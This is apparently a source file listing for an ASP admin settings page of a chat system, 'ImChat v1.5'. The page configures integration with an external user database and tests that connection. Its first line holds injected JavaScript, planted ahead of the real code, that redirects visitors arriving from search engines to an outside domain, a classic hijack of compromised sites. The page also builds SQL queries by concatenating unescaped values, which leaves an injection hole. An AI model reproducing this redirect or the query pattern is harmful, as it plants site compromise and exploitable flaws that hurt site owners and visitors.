d:\wwwroot\wuchunhua\liaotianim\system_manage\SetApi.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="../inc/DAL.asp"-->
002: <!--#include file="Check.asp"-->
003: <%
004: On Error Resume Next
005: if request("t")<>"" then
006:     if LCase(ApiConfig("API_IsOpen"))="true" then
007:         '整合开始
008:         dim SqlLinkStr,SqlIsLinked,APIConn,APIRs,TableIsOK,APIChatRs
009:         if LCase(ApiConfig("API_DB_Type"))="mssqlserver" then
010:             SqlLinkStr="Provider=Sqloledb; User ID ="&ApiConfig("API_DB_UserName")&"; Password="&ApiConfig("API_DB_UserPass")&"; Initial Catalog ="&ApiConfig("API_DB_DBName")&"; Data Source ="&ApiConfig("API_DB_IP")&";"
011:         elseif  LCase(ApiConfig("API_DB_Type"))="access" then
012:             SqlLinkStr="Provider=Microsoft.Jet.OLEDB.4.0;Password="&ApiConfig("API_DB_UserPass")&"; Data Source="&Server.MapPath(ApiConfig("API_DB_IP"))
013:         end if
014:         Set APIConn = Server.CreateObject("Adodb.Connection")'初始化连接
015:         APIConn.Open SqlLinkStr
016:         If err.Number<>0 Then
017:             SqlIsLinked=false
018:         Else
019:             SqlIsLinked=true
020:         End IF
021:         '数据库连接失败,则停止
022:         if SqlIsLinked=false then
023:             RW "数据库连接失败,请检查数据库整合连接设置<br>":response.end
024:         else
025:             RW "数据库连接 > 成功<br>"
026:         end if
027:         Set APIRs = Server.CreateObject( "ADODB.Recordset" )
028:         APIRs = APIConn.EXECUTE("select ["&ApiConfig("API_User_Name")&"],["&ApiConfig("API_User_NickName")&"],["&ApiConfig("API_User_Pass")&"],["&ApiConfig("API_User_Mail")&"],["&ApiConfig("API_User_Sex")&"] from ["&ApiConfig("API_DB_TableName")&"] where ["&ApiConfig("API_User_Name")&"]='"&YUname&"' ")
029:         If err.Number<>0 Then
030:             TableIsOK=false
031:         Else
032:             TableIsOK=true
033:         End IF
034:         '表段连接失败,则停止
035:         if TableIsOK=false then RW "字段查询失败,请检查整合表段设置<br>":response.end
036:         if APIRs.recordcount>0 then
037:             RW "字段查询 > 成功<br>"
038:         else'整合主站不存在数据则返回
039:             RW "字段查询 > 失败<br>"
040:         end if
041:     else
042:         rw "未开启整合<br>"
043:     end if
044:     RW "<br><a href='javascript:history.back();'>返回</a>":response.end()
045: end if
046:
047: if request.form("Method")="SetApi" then
048:     Dim ConfigRS
049:     Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
050:     ConfigRS.OPEN "select * from [XK_API]" , DB_CONN , 1 , 3
051:     ConfigRS("API_IsOpen")=request.form("API_IsOpen")
052:     ConfigRS("API_DB_Type")=request.form("API_DB_Type")
053:     ConfigRS("API_DB_IP")=request.form("API_DB_IP")
054:     ConfigRS("API_DB_UserName")=request.form("API_DB_UserName")
055:     ConfigRS("API_DB_UserPass")=request.form("API_DB_UserPass")
056:     ConfigRS("API_DB_DBName")=request.form("API_DB_DBName")
057:     ConfigRS("API_DB_TableName")=request.form("API_DB_TableName")
058:     ConfigRS("API_User_Name")=request.form("API_User_Name")
059:     ConfigRS("API_User_NickName")=request.form("API_User_NickName")
060:     ConfigRS("API_User_Pass")=request.form("API_User_Pass")
061:     ConfigRS("API_User_Mail")=request.form("API_User_Mail")
062:     ConfigRS("API_User_Sex")=request.form("API_User_Sex")
063:     ConfigRS.update()
064:     ConfigRS.close()
065:     RW "<script>alert('设置成功!');location.href='SetApi.asp';</script>"
066: end if
067: %
>
068: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
069: <html xmlns="http://www.w3.org/1999/xhtml">
070: <head>
071: <title>ImChat v1.5 Manage System</title>
072: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
073: <link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
074: <link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
075: </head>
076: <body>
077: <div class="contentcontainer">
078:     <div class="headings alt">
079:         <h2>整合设置</h2>
080:     </div>
081:     <div class="contentbox">
082:         <form action="#" method="post" >
083:             <table class="CB" width="100%" cellpadding="0" cellspacing="0" border="0">
084:                 <tr>
085:                     <td>
086:                         <label for="API_IsOpen"><strong>整合开关:</strong></label>
087:                         <select id="API_IsOpen" name="API_IsOpen">
088:                             <option value="true" <%if LCase(ApiConfig("API_IsOpen"))="true" then response.write "selected"%>>开启</option>
089:                             <option value="false" <%if LCase(ApiConfig("API_IsOpen"))="false" then response.write "selected"%>>关闭</option>
090:                         </select>
091:                     </td>
092:                     <td>
093:                         <label for="API_DB_Type"><strong>数据库类型:</strong></label>
094:                         <select id="API_DB_Type" name="API_DB_Type">
095:                             <option value="MSSqlServer" <%if LCase(ApiConfig("API_DB_Type"))="MSSqlServer" then response.write "selected"%>>MSSqlServer</option>
096:                             <option value="Access" <%if LCase(ApiConfig("API_DB_Type"))="Access" then response.write "selected"%>>Access</option>
097:                         </select>
098:                     </td>
099:                 <tr>
100:                     <td>
101:                         <label for="API_DB_IP"><strong>数据库IP(Access数据库请填写文件相对地址):</strong></label>
102:                         <input type="text" id="API_DB_IP" name="API_DB_IP" class="inputbox"  value="<%=ApiConfig("API_DB_IP")%>"/>
103:                     </td>
104:                     <td >
105:                         <label for="API_DB_UserName"><strong>数据库用户名:</strong></label>
106:                         <input type="text" id="API_DB_UserName" name="API_DB_UserName" class="inputbox"  value="<%=ApiConfig("API_DB_UserName")%>"/>
107:                     </td>
108:                 </tr>
109:                 <tr>
110:                     <td >
111:                         <label for="API_DB_UserPass"><strong>数据库密码:</strong></label>
112:                         <input type="text" id="API_DB_UserPass" name="API_DB_UserPass" class="inputbox"  value="<%=ApiConfig("API_DB_UserPass")%>"/>
113:                     </td>
114:                     
115:                     <td >
116:                         <label for="API_DB_DBName"><strong>数据库名称:</strong></label>
117:                         <input type="text" id="API_DB_DBName" name="API_DB_DBName" class="inputbox"  value="<%=ApiConfig("API_DB_DBName")%>"/>
118:                     </td>
119:                 </tr>
120:                 <tr>
121:                     <td>
122:                         <label for="API_DB_TableName"><strong>用户表·名称</strong></label>
123:                         <input type="text" id="API_DB_TableName" name="API_DB_TableName" class="inputbox"  value="<%=ApiConfig("API_DB_TableName")%>"/>
124:                     </td>
125:                     <td>
126:                         <label for="API_User_Name"><strong>登录名字段</strong></label>
127:                         <input type="text" id="API_User_Name" name="API_User_Name" class="inputbox"  value="<%=ApiConfig("API_User_Name")%>"/>
128:                     </td>
129:                 </tr>
130:                 <tr>
131:                     <td>
132:                         <label for="API_User_NickName"><strong>昵称字段</strong></label>
133:                         <input type="text" id="API_User_NickName" name="API_User_NickName" class="inputbox"  value="<%=ApiConfig("API_User_NickName")%>"/>
134:                     </td>
135:                     <td>
136:                         <label for="API_User_Pass"><strong>密码字段</strong></label>
137:                         <input type="text" id="API_User_Pass" name="API_User_Pass" class="inputbox"  value="<%=ApiConfig("API_User_Pass")%>"/>
138:                     </td>
139:                 </tr>
140:                 <tr>
141:                     <td>
142:                         <label for="API_User_Mail"><strong>电子邮箱字段</strong></label>
143:                         <input type="text" id="API_User_Mail" name="API_User_Mail" class="inputbox"  value="<%=ApiConfig("API_User_Mail")%>"/>
144:                     </td>
145:                     <td>
146:                         <label for="API_User_Sex"><strong>性别字段</strong></label>
147:                         <input type="text" id="API_User_Sex" name="API_User_Sex" class="inputbox"  value="<%=ApiConfig("API_User_Sex")%>"/>
148:                     </td>
149:                 </tr>
150:                 <tr>
151:                     <td colspan="2">
152:                         <label for="Sysfix"><strong><font color="red" style="font-size:18px;font-weight:bold;">*</font>因密码加密组合方式太多<br><font color="red" style="font-size:18px;font-weight:bold;">*</font>整合程序默认使用32位MD5加密,如采用其他加密方式,请修改MD5加密文件中的加密方法</strong></label>
153:                     </td>
154:                 </tr>
155:                 <tr>
156:                     <td colspan="2">
157:                         <input type="hidden" value="SetApi" name="Method"/>
158:                         <input type="submit" value="提交保存" class="btn" />
159:                         &nbsp;&nbsp;<a href="?t=1">整合测试</a>&nbsp;*测试前请先提交保存
160:                     </td>
161:                 </tr>
162:             </table>
163:         </form>
164:     </div>
165: </div>
166: </body>
167: </html>
168:
169:
170: